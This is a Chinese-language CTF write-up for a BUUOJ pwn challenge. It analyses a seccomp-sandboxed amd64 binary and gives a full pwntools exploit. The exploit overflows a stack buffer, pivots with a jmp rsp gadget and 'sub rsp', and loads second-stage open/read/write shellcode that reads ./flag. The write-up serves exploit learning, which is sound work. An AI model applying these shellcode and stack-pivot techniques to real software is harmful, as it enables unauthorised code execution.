手写shellcode 但是比较简单 记录一下思路
保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segmentsida看一下
__int64 __fastcall main(int a1, char **a2, char **a3){ mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); seccomp(); buffer(); vuln(); return 0LL;}mmap开辟了一块内存 地址从0x123000 - 0x124000 权限是可写可执行
还有三个函数 跟进一下看看
__int64 seccomp(){ __int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL); seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL); seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL); seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL); return seccomp_load(v1);}开沙盒了 看看限制了啥
line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL只能允许open read write三个函数 那就是orw了
接着跟进下一个函数
void buffer(){ setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL);}清空了缓存区 这个没啥好说的 跟进下一个函数
int vuln(){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Easy shellcode, have fun!"); read(0, buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!");}给了一次0x10字节栈溢出的机会 这种情况下大概率就是手写shellcode了 应该是有哪个地方给了jmp rsp指令 ropgadget找一下
chen@chen-virtual-machine:~$ ROPgadget --binary pwn --only 'jmp|rsp'Gadgets information============================================================0x00000000004002d8 : jmp 0x4002ad0x000000000040078b : jmp 0x4007700x00000000004008eb : jmp 0x4008800x0000000000400b03 : jmp 0x400b7a0x0000000000400b87 : jmp qword ptr [rax - 0x68000000]0x0000000000400ceb : jmp qword ptr [rbp]0x0000000000400865 : jmp rax0x0000000000400a01 : jmp rsp
Unique gadgets found: 8果然有一个 不过由于0x10还要算上jmp rsp 那么给shellcode的字节就只有8字节了 这显然是啥也干不了的 gdb动调看了下寄存器 都要我们重新赋值 这个时候可以利用sub rsp来往上抬栈 从而使得原本是用垃圾数据填充的部分可以被我们利用起来
完整exp:
from pwn import *context.log_level = 'debug'#io=process('./pwn')io = remote("node4.buuoj.cn",26981)elf = ELF('./pwn')#libc = ELF('./locate')libc = ELF("./buu_libc_ubuntu16_64")context.arch = "amd64"context.terminal = ['tmux','splitw','-h']
jmp_rsp = 0x400A01magic_addr = 0x123000io.recvuntil("Easy shellcode, have fun!")shellcode = """xor eax,eaxxor edi,edimov edx,200mov rsi,0x123500syscalljmp rsi"""shellcode2 = """sub rsp,0x30jmp rsp"""payload = asm(shellcode).ljust(0x28,b'\x00')+p64(jmp_rsp)+asm(shellcode2)# gdb.attach(io,'b *0x400A4A')# pause(0)io.send(payload)shellcode3 = asm(shellcraft.open('./flag'))shellcode3 += asm(shellcraft.read(3,magic_addr+0x50,0x50))shellcode3 += asm(shellcraft.write(1,magic_addr+0x50,0x50))io.send(shellcode3)io.recv()io.recv()io.recv()